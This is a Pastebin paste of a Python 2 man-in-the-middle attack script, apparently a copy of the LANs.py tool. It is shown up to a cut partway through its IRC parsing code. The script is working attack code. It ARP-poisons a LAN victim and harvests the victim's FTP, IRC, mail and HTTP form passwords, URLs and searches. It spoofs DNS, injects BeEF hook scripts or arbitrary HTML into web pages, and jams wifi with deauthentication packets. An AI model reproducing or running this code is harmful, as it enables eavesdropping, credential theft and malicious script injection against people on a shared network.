johnmahugu

python - lans wireshark

Jun 25th, 2015
878
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 67.66 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. # -*- coding: utf-8 -*-
  3. '''
  4. Description:   ARP poisons a LAN victim and prints all the interesting unencrypted info like usernames, passwords and messages. Asynchronous multithreaded arp spoofing packet parser.
  5. Prerequisites: Linux
  6.               nmap (optional)
  7.               nbtscan (optional)
  8.               aircrack-ng
  9.               Python 2.6+
  10.               nfqueue-bindings 0.4-3
  11.               scapy
  12.               twisted
  13.  
  14. Note:          This script flushes iptables before and after usage.
  15.  
  16. To do:          
  17.                *** Finish https://github.com/DanMcInerney/net-creds and plug it in as the LANs.py main cred engine
  18.                Refactor with lots of smaller functions
  19.                Cookie saver so you can browse using their cookies (how to use nfqueue with multiple queues?)
  20.                Add karma MITM technique
  21.                Add SSL proxy for self-signed cert, and make the script force a single JS popup saying there's a temporary problem with SSL validation and to just click through
  22.                Integrate with wifite would be cool
  23.  
  24. '''
  25.  
  26.  
  27. def module_check(module):
  28.     '''
  29.    Just for debian-based systems like Kali and Ubuntu
  30.    '''
  31.     ri = raw_input(
  32.         '[-] python-%s not installed, would you like to install now? (apt-get install -y python-%s will be run if yes) [y/n]: ' % (
  33.             module, module))
  34.     if ri == 'y':
  35.         os.system('apt-get install -y python-%s' % module)
  36.     else:
  37.         exit('[-] Exiting due to missing dependency')
  38.  
  39. import os
  40. try:
  41.     import nfqueue
  42. except Exception:
  43.     raise
  44.     module_check('nfqueue')
  45.     import nfqueue
  46. import logging
  47.  
  48. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  49. from scapy.all import *
  50. conf.verb = 0
  51. # Below is necessary to receive a response to the DHCP packets because we're sending to 255.255.255.255 but receiving from the IP of the DHCP server
  52. conf.checkIPaddr = 0
  53. from twisted.internet import reactor
  54. from twisted.internet import reactor
  55. from twisted.internet.interfaces import IReadDescriptor
  56. from twisted.internet.protocol import Protocol, Factory
  57. from sys import exit
  58. from threading import Thread, Lock
  59. import argparse
  60. from base64 import b64decode
  61. from subprocess import *
  62. from zlib import decompressobj, decompress
  63. import gzip
  64. from cStringIO import StringIO
  65. import requests
  66. import sys
  67. import time
  68. #from signal import SIGINT, signal
  69. import signal
  70. import socket
  71. import fcntl
  72.  
  73.  
  74. def parse_args():
  75.     #Create the arguments
  76.     parser = argparse.ArgumentParser()
  77.     parser.add_argument("-b", "--beef",
  78.                         help="Inject a BeEF hook URL. Example usage: -b http://192.168.0.3:3000/hook.js")
  79.     parser.add_argument("-c", "--code",
  80.                         help="Inject arbitrary html. Example usage (include quotes): -c '<title>New title</title>'")
  81.     parser.add_argument("-u", "--urlspy",
  82.                         help="Show all URLs and search terms the victim visits or enters minus URLs that end in .jpg, .png, .gif, .css, and .js to make the output much friendlier. Also truncates URLs at 150 characters. Use -v to print all URLs and without truncation.",
  83.                         action="store_true")
  84.     parser.add_argument("-ip", "--ipaddress",
  85.                         help="Enter IP address of victim and skip the arp ping at the beginning which would give you a list of possible targets. Usage: -ip <victim IP>")
  86.     parser.add_argument("-vmac", "--victimmac",
  87.                         help="Set the victim MAC; by default the script will attempt a few different ways of getting this so this option hopefully won't be necessary")
  88.     parser.add_argument("-d", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
  89.     parser.add_argument("-v", "--verboseURL",
  90.                         help="Shows all URLs the victim visits but doesn't limit the URL to 150 characters like -u does.",
  91.                         action="store_true")
  92.     parser.add_argument("-dns", "--dnsspoof",
  93.                         help="Spoof DNS responses of a specific domain. Enter domain after this argument. An argument like [facebook.com] will match all subdomains of facebook.com")
  94.     parser.add_argument("-a", "--dnsall", help="Spoof all DNS responses", action="store_true")
  95.     parser.add_argument("-set", "--setoolkit", help="Start Social Engineer's Toolkit in another window.",
  96.                         action="store_true")
  97.     parser.add_argument("-p", "--post",
  98.                         help="Print unsecured HTTP POST loads, IMAP/POP/FTP/IRC/HTTP usernames/passwords and incoming/outgoing emails. Will also decode base64 encrypted POP/IMAP username/password combos for you.",
  99.                         action="store_true")
  100.     parser.add_argument("-na", "--nmapaggressive",
  101.                         help="Aggressively scan the target for open ports and services in the background. Output to ip.add.re.ss.log.txt where ip.add.re.ss is the victim's IP.",
  102.                         action="store_true")
  103.     parser.add_argument("-n", "--nmap",
  104.                         help="Scan the target for open ports prior to starting to sniffing their packets.",
  105.                         action="store_true")
  106.     parser.add_argument("-i", "--interface",
  107.                         help="Choose the interface to use. Default is the first one that shows up in `ip route`.")
  108.     parser.add_argument("-r", "--redirectto",
  109.                         help="Must be used with -dns DOMAIN option. Redirects the victim to the IP in this argument when they visit the domain in the -dns DOMAIN option")
  110.     parser.add_argument("-rip", "--routerip",
  111.                         help="Set the router IP; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
  112.     parser.add_argument("-rmac", "--routermac",
  113.                         help="Set the router MAC; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
  114.     parser.add_argument("-pcap", "--pcap", help="Parse through a pcap file")
  115.     ###############################
  116.     #####End Lans.py Arguments#####
  117.     ###Start wifijammer Argument###
  118.     ###############################
  119.     parser.add_argument("-s", "--skip", help="Skip deauthing this MAC address. Example: -s 00:11:BB:33:44:AA")
  120.     parser.add_argument("-ch", "--channel",
  121.                         help="Listen on and deauth only clients on the specified channel. Example: -ch 6")
  122.     parser.add_argument("-m", "--maximum",
  123.                         help="Choose the maximum number of clients to deauth. List of clients will be emptied and repopulated after hitting the limit. Example: -m 5")
  124.     parser.add_argument("-no", "--noupdate",
  125.                         help="Do not clear the deauth list when the maximum (-m) number of client/AP combos is reached. Must be used in conjunction with -m. Example: -m 10 -n",
  126.                         action='store_true')
  127.     parser.add_argument("-t", "--timeinterval",
  128.                         help="Choose the time interval between packets being sent. Default is as fast as possible. If you see scapy errors like 'no buffer space' try: -t .00001")
  129.     parser.add_argument("--packets",
  130.                         help="Choose the number of packets to send in each deauth burst. Default value is 1; 1 packet to the client and 1 packet to the AP. Send 2 deauth packets to the client and 2 deauth packets to the AP: -p 2")
  131.     parser.add_argument("--directedonly",
  132.                         help="Skip the deauthentication packets to the broadcast address of the access points and only send them to client/AP pairs",
  133.                         action='store_true')
  134.     parser.add_argument("--accesspoint",
  135.                         help="Enter the MAC address of a specific access point to target")
  136.     parser.add_argument("--jam",
  137.                         help="Jam all wifi in range", action="store_true")
  138.     return parser.parse_args()
  139.  
  140. #Console colors
  141. W = '\033[0m'  # white (normal)
  142. R = '\033[31m'  # red
  143. G = '\033[32m'  # green
  144. O = '\033[33m'  # orange
  145. B = '\033[34m'  # blue
  146. P = '\033[35m'  # purple
  147. C = '\033[36m'  # cyan
  148. GR = '\033[37m'  # gray
  149. T = '\033[93m'  # tan
  150.  
  151. #############################
  152. ##### Start LANs.py Code####
  153. ############################
  154.  
  155. interface = ''
  156.  
  157. def LANsMain(args):
  158.     global victimIP, interface
  159.  
  160.     #Find the gateway and interface
  161.     ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
  162.     ipr = ipr.communicate()[0]
  163.     iprs = ipr.split('\n')
  164.     ipr = ipr.split()
  165.     if args.routerip:
  166.         routerIP = args.routerip
  167.     else:
  168.         try:
  169.             routerIP = ipr[2]
  170.         except:
  171.             exit("You must be connected to the internet to use this.")
  172.     for r in iprs:
  173.         if '/' in r:
  174.             IPprefix = r.split()[0]
  175.     if args.interface:
  176.         interface = args.interface
  177.     else:
  178.         interface = ipr[4]
  179.     if 'eth' in interface or 'p3p' in interface:
  180.         exit(
  181.             '[-] Wired interface found as default route, please connect wirelessly and retry, or specify the active interface with the -i [interface] option. See active interfaces with [ip addr] or [ifconfig].')
  182.     if args.ipaddress:
  183.         victimIP = args.ipaddress
  184.     else:
  185.         au = active_users()
  186.         au.users(IPprefix, routerIP)
  187.         print '\n[*] Turning off monitor mode'
  188.         os.system('airmon-ng stop %s >/dev/null 2>&1' % au.monmode)
  189.         try:
  190.             victimIP = raw_input('[*] Enter the non-router IP to spoof: ')
  191.         except KeyboardInterrupt:
  192.             exit('\n[-] Quitting')
  193.  
  194.     print "[*] Checking the DHCP and DNS server addresses..."
  195.     # DHCP is a pain in the ass to craft
  196.     dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff') /
  197.             IP(src="0.0.0.0", dst="255.255.255.255") /
  198.             UDP(sport=68, dport=67) /
  199.             BOOTP(chaddr='E3:2E:F4:DD:8R:9A') /
  200.             DHCP(options=[("message-type", "discover"),
  201.                           ("param_req_list",
  202.                            chr(DHCPRevOptions["router"][0]),
  203.                            chr(DHCPRevOptions["domain"][0]),
  204.                            chr(DHCPRevOptions["server_id"][0]),
  205.                            chr(DHCPRevOptions["name_server"][0]),
  206.                           ), "end"]))
  207.     ans, unans = srp(dhcp, timeout=5, retry=1)
  208.     if ans:
  209.         for s, r in ans:
  210.             DHCPopt = r[0][DHCP].options
  211.             DHCPsrvr = r[0][IP].src
  212.             for x in DHCPopt:
  213.                 if 'domain' in x:
  214.                     local_domain = x[1]
  215.                     pass
  216.                 else:
  217.                     local_domain = 'None'
  218.                 if 'name_server' in x:
  219.                     dnsIP = x[1]
  220.     else:
  221.         print "[-] No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP."
  222.         dnsIP = routerIP
  223.         DHCPsrvr = routerIP
  224.         local_domain = 'None'
  225.  
  226.     # Print the vars
  227.     print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP)
  228.     if args.routermac:
  229.         routerMAC = args.routermac
  230.         print "[*] Router MAC: " + routerMAC
  231.         logger.write("[*] Router MAC: " + routerMAC + '\n')
  232.     else:
  233.         try:
  234.             routerMAC = Spoof().originalMAC(routerIP)
  235.             print "[*] Router MAC: " + routerMAC
  236.             logger.write("[*] Router MAC: " + routerMAC + '\n')
  237.         except Exception:
  238.             print "[-] Router did not respond to ARP request; attempting to pull MAC from local ARP cache - [/usr/bin/arp -n]"
  239.             logger.write(
  240.                 "[-] Router did not respond to ARP request; attempting to pull the MAC from the ARP cache - [/usr/bin/arp -n]")
  241.             try:
  242.                 arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
  243.                 split_lines = arpcache.communicate()[0].splitlines()
  244.                 for line in split_lines:
  245.                     if routerIP in line:
  246.                         routerMACguess = line.split()[2]
  247.                         if len(routerMACguess) == 17:
  248.                             accr = raw_input("[+] Is " + R + routerMACguess + W + " the accurate router MAC? [y/n]: ")
  249.                             if accr == 'y':
  250.                                 routerMAC = routerMACguess
  251.                                 print "[*] Router MAC: " + routerMAC
  252.                                 logger.write("[*] Router MAC: " + routerMAC + '\n')
  253.                         else:
  254.                             exit("[-] Failed to get accurate router MAC address")
  255.             except Exception:
  256.                 exit("[-] Failed to get accurate router MAC address")
  257.  
  258.     if args.victimmac:
  259.         victimMAC = args.victimmac
  260.         print "[*] Victim MAC: " + victimMAC
  261.         logger.write("[*] Victim MAC: " + victimMAC + '\n')
  262.     else:
  263.         try:
  264.             victimMAC = Spoof().originalMAC(victimIP)
  265.             print "[*] Victim MAC: " + victimMAC
  266.             logger.write("[*] Victim MAC: " + victimMAC + '\n')
  267.         except Exception:
  268.             exit(
  269.                 "[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address\n    and make sure the interface being used is accurate with -i <interface>")
  270.  
  271.     ipf = setup(victimMAC)
  272.     Queued(args)
  273.     threads(args)
  274.  
  275.     if args.nmap:
  276.         print "\n[*] Running nmap scan; this may take several minutes - [nmap -T4 -O %s]" % victimIP
  277.         try:
  278.             nmap = Popen(['/usr/bin/nmap', '-T4', '-O', '-e', interface, victimIP], stdout=PIPE, stderr=DN)
  279.             nmap.wait()
  280.             nmap = nmap.communicate()[0].splitlines()
  281.             for x in nmap:
  282.                 if x != '':
  283.                     print '[+]', x
  284.                     logger.write('[+] ' + x + '\n')
  285.         except Exception:
  286.             print '[-] Nmap port and OS scan failed, is it installed?'
  287.  
  288.     print ''
  289.  
  290.     def signal_handler(signal, frame):
  291.         print 'learing iptables, sending healing packets, and turning off IP forwarding...'
  292.         logger.close()
  293.         with open('/proc/sys/net/ipv4/ip_forward', 'r+') as forward:
  294.             forward.write(ipf)
  295.         Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
  296.         Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
  297.         os.system('/sbin/iptables -F')
  298.         os.system('/sbin/iptables -X')
  299.         os.system('/sbin/iptables -t nat -F')
  300.         os.system('/sbin/iptables -t nat -X')
  301.         exit(0)
  302.  
  303.     signal.signal(signal.SIGINT, signal_handler)
  304.  
  305.     while 1:
  306.         Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
  307.         time.sleep(1.5)
  308.  
  309. class Spoof():
  310.     def originalMAC(self, ip):
  311.         # srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
  312.         ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=5, retry=3)
  313.         for s, r in ans:
  314.             return r.sprintf("%Ether.src%")
  315.  
  316.     def poison(self, routerIP, victimIP, routerMAC, victimMAC):
  317.         send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
  318.         send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
  319.  
  320.     def restore(self, routerIP, victimIP, routerMAC, victimMAC):
  321.         send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
  322.         send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
  323.  
  324.  
  325. class Parser():
  326.     # Mail, irc, post parsing
  327.     OheadersFound = []
  328.     IheadersFound = []
  329.     IMAPauth = 0
  330.     IMAPdest = ''
  331.     POPauth = 0
  332.     POPdest = ''
  333.     Cookies = []
  334.     IRCnick = ''
  335.     mail_passwds = []
  336.     oldmailack = ''
  337.     oldmailload = ''
  338.     mailfragged = 0
  339.  
  340.     # http parsing
  341.     oldHTTPack = ''
  342.     oldHTTPload = ''
  343.     HTTPfragged = 0
  344.  
  345.     # html injection
  346.     block_acks = []
  347.     html_url = ''
  348.     user_agent = None
  349.  
  350.     def __init__(self, args):
  351.         self.args = args
  352.  
  353.     #def start(self, i, payload): ###This was original Ubuntu compatible code.
  354.     #def start(self, payload): ###This was original non-Ubuntu code.
  355.     '''
  356.    Both were replaced by accepting arguments as an array and then iterating through said array looking for the payload and self.
  357.    It is now compatible with both Ubuntu and non-Ubuntu linux distros.
  358.    '''
  359.     def start(*args):
  360.         for i in args:
  361.             if isinstance(i, nfqueue.payload):
  362.                 payload = i
  363.             else:
  364.                 if not isinstance(i, int):
  365.                     self = i
  366.         if self.args.pcap:
  367.             if self.args.ipaddress:
  368.                 try:
  369.                     pkt = payload[IP]
  370.                 except Exception:
  371.                     return
  372.         else:
  373.             try:
  374.                 pkt = IP(payload.get_data())
  375.             except Exception:
  376.                 return
  377.  
  378.         IP_layer = pkt[IP]
  379.         IP_dst = pkt[IP].dst
  380.         IP_src = pkt[IP].src
  381.         if self.args.urlspy or self.args.post or self.args.beef or self.args.code:
  382.             if pkt.haslayer(Raw):
  383.                 if pkt.haslayer(TCP):
  384.                     dport = pkt[TCP].dport
  385.                     sport = pkt[TCP].sport
  386.                     ack = pkt[TCP].ack
  387.                     seq = pkt[TCP].seq
  388.                     load = pkt[Raw].load
  389.                     mail_ports = [25, 26, 110, 143]
  390.                     if dport in mail_ports or sport in mail_ports:
  391.                         self.mailspy(load, dport, sport, IP_dst, IP_src, mail_ports, ack)
  392.                     if dport == 6667 or sport == 6667:
  393.                         self.irc(load, dport, sport, IP_src)
  394.                     if dport == 21 or sport == 21:
  395.                         self.ftp(load, IP_dst, IP_src)
  396.                     if dport == 80 or sport == 80:
  397.                         self.http_parser(load, ack, dport)
  398.                         if self.args.beef or self.args.code:
  399.                             self.injecthtml(load, ack, pkt, payload, dport, sport)
  400.         if self.args.dnsspoof or self.args.dnsall:
  401.             if pkt.haslayer(DNSQR):
  402.                 dport = pkt[UDP].dport
  403.                 sport = pkt[UDP].sport
  404.                 if dport == 53 or sport == 53:
  405.                     dns_layer = pkt[DNS]
  406.                     self.dnsspoof(dns_layer, IP_src, IP_dst, sport, dport, payload)
  407.  
  408.     def get_user_agent(self, header_lines):
  409.         for h in header_lines:
  410.             user_agentre = re.search('[Uu]ser-[Aa]gent: ', h)
  411.             if user_agentre:
  412.                 return h.split(user_agentre.group(), 1)[1]
  413.  
  414.     def injecthtml(self, load, ack, pkt, payload, dport, sport):
  415.         for x in self.block_acks:
  416.             if ack == x:
  417.                 payload.set_verdict(nfqueue.NF_DROP)
  418.                 return
  419.  
  420.         ack = str(ack)
  421.         if self.args.beef:
  422.             bhtml = '<script src=' + self.args.beef + '></script>'
  423.         if self.args.code:
  424.             chtml = self.args.code
  425.  
  426.         try:
  427.             headers, body = load.split("\r\n\r\n", 1)
  428.         except Exception:
  429.             headers = load
  430.             body = ''
  431.         header_lines = headers.split("\r\n")
  432.  
  433.         if dport == 80:
  434.             post = None
  435.             get = self.get_get(header_lines)
  436.             host = self.get_host(header_lines)
  437.             self.html_url = self.get_url(host, get, post)
  438.             if self.html_url:
  439.                 d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
  440.                 if any(i in self.html_url for i in d):
  441.                     self.html_url = None
  442.                     payload.set_verdict(nfqueue.NF_ACCEPT)
  443.                     return
  444.             else:
  445.                 payload.set_verdict(nfqueue.NF_ACCEPT)
  446.                 return
  447.             if not self.get_user_agent(header_lines):
  448.                 # Most common user-agent on the internet
  449.                 self.user_agent = "'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'"
  450.             else:
  451.                 self.user_agent = "'" + self.get_user_agent(header_lines) + "'"
  452.             payload.set_verdict(nfqueue.NF_ACCEPT)
  453.             return
  454.  
  455.         if sport == 80 and self.html_url and 'Content-Type: text/html' in headers:
  456.             # This can be done better, probably using filter(), no make them a dictionary and use del
  457.             header_lines = [x for x in header_lines if 'transfer-encoding' not in x.lower()]
  458.             for h in header_lines:
  459.                 if '1.1 302' in h or '1.1 301' in h:  # Allow redirects to go thru unperturbed
  460.                     payload.set_verdict(nfqueue.NF_ACCEPT)
  461.                     self.html_url = None
  462.                     return
  463.  
  464.             UA_header = {'User-Agent': self.user_agent}
  465.             r = requests.get('http://' + self.html_url, headers=UA_header)
  466.             try:
  467.                 body = r.text.encode('utf-8')
  468.             except Exception:
  469.                 payload.set_verdict(nfqueue.NF_ACCEPT)
  470.  
  471.             # INJECT
  472.             if self.args.beef:
  473.                 if '<html' in body or '/html>' in body:
  474.                     try:
  475.                         psplit = body.split('</head>', 1)
  476.                         body = psplit[0] + bhtml + '</head>' + psplit[1]
  477.                     except Exception:
  478.                         try:
  479.                             psplit = body.split('<head>', 1)
  480.                             body = psplit[0] + '<head>' + bhtml + psplit[1]
  481.                         except Exception:
  482.                             if not self.args.code:
  483.                                 self.html_url = None
  484.                                 payload.set_verdict(nfqueue.NF_ACCEPT)
  485.                                 return
  486.                             else:
  487.                                 pass
  488.             if self.args.code:
  489.                 if '<html' in body or '/html>' in body:
  490.                     try:
  491.                         psplit = body.split('<head>', 1)
  492.                         body = psplit[0] + '<head>' + chtml + psplit[1]
  493.                     except Exception:
  494.                         try:
  495.                             psplit = body.split('</head>', 1)
  496.                             body = psplit[0] + chtml + '</head>' + psplit[1]
  497.                         except Exception:
  498.                             self.html_url = None
  499.                             payload.set_verdict(nfqueue.NF_ACCEPT)
  500.                             return
  501.  
  502.             # Recompress data if necessary
  503.             if 'Content-Encoding: gzip' in headers:
  504.                 if body != '':
  505.                     try:
  506.                         comp_body = StringIO()
  507.                         f = gzip.GzipFile(fileobj=comp_body, mode='w', compresslevel=9)
  508.                         f.write(body)
  509.                         f.close()
  510.                         body = comp_body.getvalue()
  511.                     except Exception:
  512.                         try:
  513.                             pkt[Raw].load = headers + "\r\n\r\n" + body
  514.                             pkt[IP].len = len(str(pkt))
  515.                             del pkt[IP].chksum
  516.                             del pkt[TCP].chksum
  517.                             payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
  518.                             print '[-] Could not recompress html, sent packet as is'
  519.                             self.html_url = None
  520.                             return
  521.                         except Exception:
  522.                             self.html_url = None
  523.                             payload.set_verdict(nfqueue.NF_ACCEPT)
  524.                             return
  525.  
  526.             headers = "\r\n".join(header_lines)
  527.             pkt[Raw].load = headers + "\r\n\r\n" + body
  528.             pkt[IP].len = len(str(pkt))
  529.             del pkt[IP].chksum
  530.             del pkt[TCP].chksum
  531.             try:
  532.                 payload.set_verdict(nfqueue.NF_DROP)
  533.                 pkt_frags = fragment(pkt)
  534.                 for p in pkt_frags:
  535.                     send(p)
  536.                 print R + '[!] Injected HTML into packet for ' + W + self.html_url
  537.                 logger.write('[!] Injected HTML into packet for ' + self.html_url)
  538.                 self.block_acks.append(ack)
  539.                 self.html_url = None
  540.             except Exception as e:
  541.                 payload.set_verdict(nfqueue.NF_ACCEPT)
  542.                 self.html_url = None
  543.                 print '[-] Failed to inject packet', e
  544.                 return
  545.  
  546.             if len(self.block_acks) > 30:
  547.                 self.block_acks = self.block_acks[5:]
  548.  
  549.     def get_host(self, header_lines):
  550.         for l in header_lines:
  551.             searchHost = re.search('[Hh]ost: ', l)
  552.             if searchHost:
  553.                 try:
  554.                     return l.split('Host: ', 1)[1]
  555.                 except Exception:
  556.                     try:
  557.                         return l.split('host: ', 1)[1]
  558.                     except Exception:
  559.                         return
  560.  
  561.     def get_get(self, header_lines):
  562.         for l in header_lines:
  563.             searchGet = re.search('GET /', l)
  564.             if searchGet:
  565.                 try:
  566.                     return l.split('GET ')[1].split(' ')[0]
  567.                 except Exception:
  568.                     return
  569.  
  570.     def get_post(self, header_lines):
  571.         for l in header_lines:
  572.             searchPost = re.search('POST /', l)
  573.             if searchPost:
  574.                 try:
  575.                     return l.split(' ')[1].split(' ')[0]
  576.                 except Exception:
  577.                     return
  578.  
  579.     def get_url(self, host, get, post):
  580.         if host:
  581.             if post:
  582.                 return host + post
  583.             if get:
  584.                 return host + get
  585.  
  586.     # Catch search terms
  587.     # As it stands now this has a moderately high false positive rate mostly due to the common ?s= and ?q= vars
  588.     # I figured better to err on the site of more data than less and it's easy to tell the false positives from the real searches
  589.     def searches(self, url, host):
  590.         # search, query, search?q, ?s, &q, ?q, search?p, searchTerm, keywords, command
  591.         searched = re.search(
  592.             '((search|query|search\?q|\?s|&q|\?q|search\?p|search[Tt]erm|keywords|command)=([^&][^&]*))', url)
  593.         if searched:
  594.             searched = searched.group(3)
  595.             # Common false positives
  596.             if 'select%20*%20from' in searched:
  597.                 pass
  598.             if host == 'geo.yahoo.com':
  599.                 pass
  600.             else:
  601.                 searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27',
  602.                                                                                                       '\'').replace(
  603.                     '%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22',
  604.                                                                                                     '\"').replace('%24',
  605.                                                                                                                   '$')
  606.                 print T + '[+] Searched ' + W + host + T + ': ' + searched + W
  607.                 logger.write('[+] Searched ' + host + ' for: ' + searched + '\n')
  608.  
  609.     def post_parser(self, url, body, host, header_lines):
  610.         if 'ocsp' in url:
  611.             print B + '[+] POST: ' + W + url
  612.             logger.write('[+] POST: ' + url + '\n')
  613.         elif body != '':
  614.             try:
  615.                 urlsplit = url.split('/')
  616.                 url = urlsplit[0] + '/' + urlsplit[1]
  617.             except Exception:
  618.                 pass
  619.             if self.HTTPfragged == 1:
  620.                 print B + '[+] Fragmented POST: ' + W + url + B + " HTTP POST's combined load: " + body + W
  621.                 logger.write('[+] Fragmented POST: ' + url + " HTTP POST's combined load: " + body + '\n')
  622.             else:
  623.                 print B + '[+] POST: ' + W + url + B + ' HTTP POST load: ' + body + W
  624.                 logger.write('[+] POST: ' + url + " HTTP POST's combined load: " + body + '\n')
  625.  
  626.             # If you see any other login/pw variable names, tell me and I'll add em in here
  627.             # As it stands now this has a moderately high false positive rate; I figured better to err on the site of more data than less
  628.             # email, user, username, name, login, log, loginID
  629.             user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
  630.             # password, pass, passwd, pwd, psw, passwrd, passw
  631.             pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)'
  632.             username = re.findall(user_regex, body)
  633.             password = re.findall(pw_regex, body)
  634.             self.user_pass(username, password)
  635.             self.cookies(host, header_lines)
  636.  
  637.     def http_parser(self, load, ack, dport):
  638.         load = repr(load)[1:-1]
  639.         # Catch fragmented HTTP posts
  640.         if dport == 80 and load != '':
  641.             if ack == self.oldHTTPack:
  642.                 self.oldHTTPload = self.oldHTTPload + load
  643.                 load = self.oldHTTPload
  644.                 self.HTTPfragged = 1
  645.             else:
  646.                 self.oldHTTPload = load
  647.                 self.oldHTTPack = ack
  648.                 self.HTTPfragged = 0
  649.         try:
  650.             headers, body = load.split(r"\r\n\r\n", 1)
  651.         except Exception:
  652.             headers = load
  653.             body = ''
  654.         header_lines = headers.split(r"\r\n")
  655.  
  656.         host = self.get_host(header_lines)
  657.         get = self.get_get(header_lines)
  658.         post = self.get_post(header_lines)
  659.         url = self.get_url(host, get, post)
  660.  
  661.         # print urls
  662.         if url:
  663.             #Print the URL
  664.             if self.args.verboseURL:
  665.                 print '[*] ' + url
  666.                 logger.write('[*] ' + url + '\n')
  667.  
  668.             if self.args.urlspy:
  669.                 fileFilterList = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
  670.                 domainFilterList = ['adzerk.net', 'adwords.google.com', 'googleads.g.doubleclick.net', 'pagead2.googlesyndication.com']
  671.                 tempURL = url
  672.                 tempURL = tempURL.split("?")[0]   #Strip all data (e.g. www.google.com/?g=5 goes to www.google.com/)
  673.                 tempURL = tempURL.strip("/")      #Strip all /
  674.                 printURL = True # default to printing URL
  675.                 for fileType in fileFilterList: #Used to check if it is one of the blacklisted file types
  676.                     if tempURL.endswith(fileType):
  677.                         printURL = False #Don't print if it is one of the bad file types
  678.                 for blockedDomain in domainFilterList:
  679.                     if blockedDomain in tempURL:
  680.                         printURL = False #Don't print if it is one of the blocked domains
  681.                 if printURL:
  682.                     if len(url) > 146:
  683.                         print '[*] ' + url[:145]
  684.                         logger.write('[*] ' + url[:145] + '\n')
  685.                     else:
  686.                         print '[*] ' + url
  687.                         logger.write('[*] ' + url + '\n')
  688.  
  689.             # Print search terms
  690.             if self.args.post or self.args.urlspy:
  691.                 self.searches(url, host)
  692.  
  693.             #Print POST load and find cookies
  694.             if self.args.post and post:
  695.                 self.post_parser(url, body, host, header_lines)
  696.  
  697.     def ftp(self, load, IP_dst, IP_src):
  698.         load = repr(load)[1:-1].replace(r"\r\n", "")
  699.         if 'USER ' in load:
  700.             print R + '[!] FTP ' + load + ' SERVER: ' + IP_dst + W
  701.             logger.write('[!] FTP ' + load + ' SERVER: ' + IP_dst + '\n')
  702.         if 'PASS ' in load:
  703.             print R + '[!] FTP ' + load + ' SERVER: ' + IP_dst + W
  704.             logger.write('[!] FTP ' + load + ' SERVER: ' + IP_dst + '\n')
  705.         if 'authentication failed' in load:
  706.             print R + '[*] FTP ' + load + W
  707.             logger.write('[*] FTP ' + load + '\n')
  708.  
  709.     def irc(self, load, dport, sport, IP_src):
  710.         load = repr(load)[1:-1].split(r"\r\n")
  711.         if self.args.post:
  712.             if IP_src == victimIP:
  713.                 if 'NICK ' in load[0]:
  714.                     self.IRCnick = load[0].split('NICK ')[1]
  715.                     server = load[1].replace('USER user user ', '').replace(' :user', '')
  716.                     print R + '[!] IRC username: ' + self.IRCnick + ' on ' + server + W
  717.                     logger.write('[!] IRC username: ' + self.IRCnick + ' on ' + server + '\n')
  718.                 if 'NS IDENTIFY ' in load[0]:
  719.                     ircpass = load[0].split('NS IDENTIFY ')[1]
  720.                     print R + '[!] IRC password: ' + ircpass + W
  721.                     logger.write('[!] IRC password: ' + ircpass + '\n')
  722.                 if 'JOIN ' in load[0]:
  723.                     join = load[0].split('JOIN ')[1]
  724.                     print C + '[+] IRC joined: ' + W + join
  725.                     logger.write('[+] IRC joined: ' + join + '\n')
  726.                 if 'PART ' in load[0]:
  727.                     part = load[0].split('PART ')[1]
  728.                     print C + '[+] IRC left: ' + W + part
  729.                     logger.write('[+] IRC left: ' + part + '\n')
  730.                 if 'QUIT ' in load[0]:
  731.                     quit = load[0].split('QUIT :')[1]
  732.                     print C + '[+] IRC quit: ' + W + quit
  733.                     logger.write('[+] IRC quit: ' + quit + '\n')
  734.             # Catch messages from the victim to an IRC channel
  735.             if 'PRIVMSG ' in load[0]:
  736.                 if IP_src == victimIP:
  737.                     load = load[0].split('PRIVMSG ')[1]
  738.                     channel = load.split(' :', 1)[0]
  739.                     ircmsg = load.split(' :', 1)[1]
  740.                     if self.IRCnick != '':
  741.                         print C + '[+] IRC victim ' + W + self.IRCnick + C + ' to ' + W + channel + C + ': ' + ircmsg + W
  742.                         logger.write('[+] IRC ' + self.IRCnick + ' to ' + channel + ': ' + ircmsg + '\n')
  743.                     else:
  744.                         print C + '[+] IRC msg to ' + W + channel + C + ': ' + ircmsg + W
  745.                         logger.write('[+] IRC msg to ' + channel + ':' + ircmsg + '\n')
